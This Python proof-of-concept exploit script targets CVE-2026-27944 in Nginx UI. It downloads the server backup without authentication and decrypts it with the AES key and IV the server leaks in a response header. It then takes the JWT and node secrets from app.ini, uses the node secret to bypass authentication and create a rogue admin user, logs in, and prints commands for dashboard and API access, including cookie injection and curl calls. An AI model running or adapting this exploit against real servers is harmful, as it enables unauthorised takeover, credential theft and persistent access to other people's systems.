#!/usr/bin/env python3

"""
CVE-2026-27944: Nginx UI - Unauthenticated Backup Download + Dashboard Access

Enhanced POC with user creation and dashboard login capabilities.

Usage:
  # Download and decrypt backup only
  python exploit.py --target http://127.0.0.1:9000 --out backup.bin --decrypt

  # Download, decrypt, and create admin user for dashboard access
  python exploit.py --target http://127.0.0.1:9000 --decrypt --create-user hacker --password Admin@123

  # Extract secrets only (no user creation)
  python exploit.py --target http://127.0.0.1:9000 --decrypt --show-secrets
"""

import argparse
import base64
import json
import os
import sys
import urllib.parse
import urllib.request
import zipfile
from configparser import ConfigParser
from io import BytesIO

try:
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import unpad
except ImportError:
    print("Error: pycryptodome required for decryption")
    print("Install with: pip install pycryptodome")
    sys.exit(1)


def print_banner():
    banner = r"""
  ____  _  __                           _    
 / ___|| |/ /_   _ _ __   _____  _ __| | __
 \___ \| ' /| | | | '_ \ / _ \ \/ /| |/ /
  ___) | . \| |_| | | | | (_) >  < |   < 
 |____/|_|\_\\__, |_| |_|\___/_/\_\|_|\_\
             |___/                       
    """
    # Adding some basic ANSI color (Cyan)
    print(f"\033[1;36m{banner}\033[0m")
    print("="*70)
    print("CVE-2026-27944 - Nginx UI Unauthenticated Backup Download + Dashboard Access")
    print("="*70)


def _parse_keys(hdr_val: str):
    """
    Parse X-Backup-Security header format: "base64_key:base64_iv"
    Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==
    """
    v = (hdr_val or "").strip()

    # Format is: key:iv (both base64 encoded)
    if ":" in v:
        parts = v.split(":", 1)
        if len(parts) == 2:
            return parts[0].strip(), parts[1].strip()

    return None, None


def decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:
    """Decrypt using AES-256-CBC with PKCS#7 padding"""
    key = base64.b64decode(key_b64)
    iv = base64.b64decode(iv_b64)

    if len(key) != 32:
        raise ValueError(f"Invalid key length: {len(key)} (expected 32 bytes for AES-256)")
    if len(iv) != 16:
        raise ValueError(f"Invalid IV length: {len(iv)} (expected 16 bytes)")

    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(encrypted_data)
    return unpad(decrypted, AES.block_size)


def extract_secrets_from_backup(extract_dir: str):
    """Extract Node Secret, JWT Secret, and other secrets from app.ini"""
    secrets = {}
    
    app_ini_path = os.path.join(extract_dir, "nginx-ui", "app.ini")
    
    if not os.path.exists(app_ini_path):
        print(f"[!] app.ini not found at {app_ini_path}")
        return secrets
    
    print(f"\n[*] Extracting secrets from {app_ini_path}")
    
    try:
        config = ConfigParser()
        config.read(app_ini_path)
        
        # Extract all important secrets
        secrets['jwt_secret'] = config.get('app', 'JwtSecret', fallback=None)
        secrets['node_secret'] = config.get('node', 'Secret', fallback=None)
        secrets['crypto_secret'] = config.get('crypto', 'Secret', fallback=None)
        secrets['email'] = config.get('cert', 'Email', fallback=None)
        
        print("[+] Secrets extracted:")
        print(f"    JWT Secret    : {secrets['jwt_secret']}")
        print(f"    Node Secret   : {secrets['node_secret']}")
        print(f"    Crypto Secret : {secrets['crypto_secret']}")
        if secrets['email']:
            print(f"    Email         : {secrets['email']}")
        
    except Exception as e:
        print(f"[!] Failed to parse app.ini: {e}")
    
    return secrets


def create_admin_user(target: str, node_secret: str, username: str, password: str):
    """Create a new admin user using Node Secret authentication bypass"""
    print(f"\n[*] Creating admin user '{username}' via Node Secret bypass...")
    
    if not node_secret:
        print("[!] Node Secret not available - cannot create user")
        return False
    
    url = urllib.parse.urljoin(target.rstrip("/") + "/", "api/users")
    
    payload = json.dumps({
        'name': username,
        'password': password
    }).encode('utf-8')
    
    req = urllib.request.Request(
        url,
        data=payload,
        method='POST',
        headers={
            'X-Node-Secret': node_secret,
            'Content-Type': 'application/json'
        }
    )
    
    try:
        with urllib.request.urlopen(req, timeout=10) as resp:
            response_data = resp.read().decode('utf-8')
            print(f"[+] User '{username}' created successfully!")
            print(f"[+] Credentials: {username} / {password}")
            return True
            
    except urllib.error.HTTPError as e:
        error_msg = e.read().decode('utf-8', errors='ignore')
        if 'already exists' in error_msg.lower() or 'duplicate' in error_msg.lower():
            print(f"[!] User '{username}' already exists")
        else:
            print(f"[!] Failed to create user. Status: {e.code}")
            print(f"[!] Response: {error_msg}")
        return False
        
    except Exception as e:
        print(f"[!] Request failed: {e}")
        return False


def login_and_get_token(target: str, username: str, password: str):
    """Login with credentials and obtain JWT token"""
    print(f"\n[*] Logging in as '{username}'...")
    
    url = urllib.parse.urljoin(target.rstrip("/") + "/", "api/login")
    
    payload = json.dumps({
        'name': username,
        'password': password
    }).encode('utf-8')
    
    req = urllib.request.Request(
        url,
        data=payload,
        method='POST',
        headers={'Content-Type': 'application/json'}
    )
    
    try:
        with urllib.request.urlopen(req, timeout=10) as resp:
            response_data = json.loads(resp.read().decode('utf-8'))
            token = response_data.get('token')
            
            if token:
                print(f"[+] Login successful!")
                print(f"[+] JWT Token: {token}")
                return token
            else:
                print("[!] No token in response")
                return None
                
    except urllib.error.HTTPError as e:
        error_msg = e.read().decode('utf-8', errors='ignore')
        print(f"[!] Login failed. Status: {e.code}")
        print(f"[!] Response: {error_msg}")
        return None
        
    except Exception as e:
        print(f"[!] Login request failed: {e}")
        return None


def verify_node_secret(target: str, node_secret: str):
    """Verify that Node Secret provides admin API access"""
    print(f"\n[*] Verifying Node Secret bypass...")
    
    url = urllib.parse.urljoin(target.rstrip("/") + "/", "api/users")
    
    req = urllib.request.Request(
        url,
        method='GET',
        headers={'X-Node-Secret': node_secret}
    )
    
    try:
        with urllib.request.urlopen(req, timeout=10) as resp:
            users = json.loads(resp.read().decode('utf-8'))
            print(f"[+] Node Secret verified! Admin API access confirmed")
            print(f"[+] Total users in system: {len(users)}")
            return True
            
    except Exception as e:
        print(f"[!] Node Secret verification failed: {e}")
        return False


def extract_backup(encrypted_zip_path: str, key_b64: str, iv_b64: str, output_dir: str):
    """Extract and decrypt the backup archive"""
    print(f"\n[*] Extracting encrypted backup to {output_dir}")

    os.makedirs(output_dir, exist_ok=True)

    # Extract the main ZIP (contains encrypted files)
    with zipfile.ZipFile(encrypted_zip_path, 'r') as main_zip:
        print(f"[*] Main archive contains: {main_zip.namelist()}")
        main_zip.extractall(output_dir)

    # Decrypt each file
    encrypted_files = ["hash_info.txt", "nginx-ui.zip", "nginx.zip"]

    for filename in encrypted_files:
        filepath = os.path.join(output_dir, filename)
        if not os.path.exists(filepath):
            print(f"[!] Warning: {filename} not found")
            continue

        print(f"[*] Decrypting {filename}...")

        with open(filepath, "rb") as f:
            encrypted = f.read()

        try:
            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)

            # Write decrypted file
            decrypted_path = filepath.replace(".zip", "_decrypted.zip") if filename.endswith(".zip") else filepath + ".decrypted"
            with open(decrypted_path, "wb") as f:
                f.write(decrypted)

            print(f"    → Saved to {decrypted_path} ({len(decrypted)} bytes)")

            # If it's a ZIP, extract it
            if filename.endswith(".zip"):
                extract_dir = os.path.join(output_dir, filename.replace(".zip", ""))
                os.makedirs(extract_dir, exist_ok=True)
                with zipfile.ZipFile(BytesIO(decrypted), 'r') as inner_zip:
                    inner_zip.extractall(extract_dir)
                    print(f"    → Extracted {len(inner_zip.namelist())} files to {extract_dir}")

        except Exception as e:
            print(f"    ✗ Failed to decrypt {filename}: {e}")

    # Show hash info
    hash_info_path = os.path.join(output_dir, "hash_info.txt.decrypted")
    if os.path.exists(hash_info_path):
        print(f"\n[*] Hash info:")
        with open(hash_info_path, "r") as f:
            print(f.read())


def print_dashboard_access(target: str, username: str, password: str, jwt_token: str, node_secret: str):
    """Print comprehensive dashboard access instructions"""
    print("\n" + "="*70)
    print("EXPLOITATION SUCCESSFUL - DASHBOARD ACCESS AVAILABLE")
    print("="*70)
    
    print("\n[+] Dashboard Access Methods:")
    
    print("\n1. Direct Login (Web Browser):")
    print(f"   URL      : {target}")
    print(f"   Username : {username}")
    print(f"   Password : {password}")
    
    if jwt_token:
        print("\n2. Browser Console Injection (F12):")
        print(f"   Open browser console and execute:")
        print(f"   document.cookie='authorization={jwt_token}; path=/'; location.reload();")
    
    if node_secret:
        print("\n3. Direct API Access (Node Secret Bypass):")
        print(f"   curl -H 'X-Node-Secret: {node_secret}' {target}/api/users")
        print(f"   curl -H 'X-Node-Secret: {node_secret}' {target}/api/settings")
    
    if jwt_token:
        print("\n4. Authenticated API Requests (JWT Token):")
        print(f"   curl -H 'Authorization: {jwt_token}' {target}/api/settings")
    
    print("\n" + "="*70)


def main():
    # Print the custom Skynoxk ASCII banner
    print_banner()

    ap = argparse.ArgumentParser(
        description="CVE-2026-27944: Nginx UI - Unauthenticated backup download with dashboard access",
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:port")
    ap.add_argument("--out", default="backup.bin", help="Where to save the encrypted backup")
    ap.add_argument("--decrypt", action="store_true", help="Decrypt the backup after download")
    ap.add_argument("--extract-dir", default="backup_extracted", help="Directory to extract decrypted files")
    ap.add_argument("--show-secrets", action="store_true", help="Extract and display secrets from backup")
    ap.add_argument("--create-user", metavar="USERNAME", help="Create admin user for dashboard access")
    ap.add_argument("--password", default="Admin@123456", help="Password for new user (default: Admin@123456)")

    args = ap.parse_args()

    url = urllib.parse.urljoin(args.target.rstrip("/") + "/", "api/backup")

    # Unauthenticated request to the backup endpoint
    req = urllib.request.Request(url, method="GET")

    print(f"\n[*] Downloading backup from {url}")
    
    try:
        with urllib.request.urlopen(req, timeout=20) as resp:
            hdr = resp.headers.get("X-Backup-Security", "")
            key, iv = _parse_keys(hdr)
            data = resp.read()
    except urllib.error.HTTPError as e:
        print(f"[!] HTTP Error {e.code}: {e.reason}")
        sys.exit(1)
    except Exception as e:
        print(f"[!] Error: {e}")
        sys.exit(1)

    with open(args.out, "wb") as f:
        f.write(data)

    print(f"[+] Backup downloaded successfully ({len(data)} bytes)")
    print(f"[+] Saved to: {args.out}")

    # Key/IV disclosure in response header enables decryption of the downloaded backup
    print(f"\n[*] X-Backup-Security header: {hdr}")
    print(f"[+] Parsed AES-256 key: {key}")
    print(f"[+] Parsed AES IV    : {iv}")

    if key and iv:
        # Verify key/IV lengths
        try:
            key_bytes = base64.b64decode(key)
            iv_bytes = base64.b64decode(iv)
            print(f"\n[+] Key length: {len(key_bytes)} bytes (AES-256 ✓)")
            print(f"[+] IV length : {len(iv_bytes)} bytes (AES block size ✓)")
        except Exception as e:
            print(f"[!] Error decoding keys: {e}")
            sys.exit(1)

        if args.decrypt:
            try:
                extract_backup(args.out, key, iv, args.extract_dir)

                # Extract secrets if requested or if creating user
                if args.show_secrets or args.create_user:
                    secrets = extract_secrets_from_backup(args.extract_dir)
                    
                    node_secret = secrets.get('node_secret')
                    
                    # Verify Node Secret works
                    if node_secret:
                        verify_node_secret(args.target, node_secret)
                    
                    # Create user if requested
                    if args.create_user:
                        if create_admin_user(args.target, node_secret, args.create_user, args.password):
                            # Try to login
                            jwt_token = login_and_get_token(args.target, args.create_user, args.password)
                            
                            # Print access instructions
                            print_dashboard_access(
                                args.target,
                                args.create_user,
                                args.password,
                                jwt_token,
                                node_secret
                            )
                        else:
                            print("\n[!] User creation failed, but you can still use Node Secret for API access")
                            if node_secret:
                                print(f"[*] Node Secret: {node_secret}")
                                print(f"[*] API Access: curl -H 'X-Node-Secret: {node_secret}' {args.target}/api/users")

            except Exception as e:
                print(f"\n[!] Decryption failed: {e}")
                import traceback
                traceback.print_exc()
                sys.exit(1)
    else:
        print("\n[!] Failed to parse encryption keys from X-Backup-Security header")
        print(f"    Header value: {hdr}")


if __name__ == "__main__":
    main()
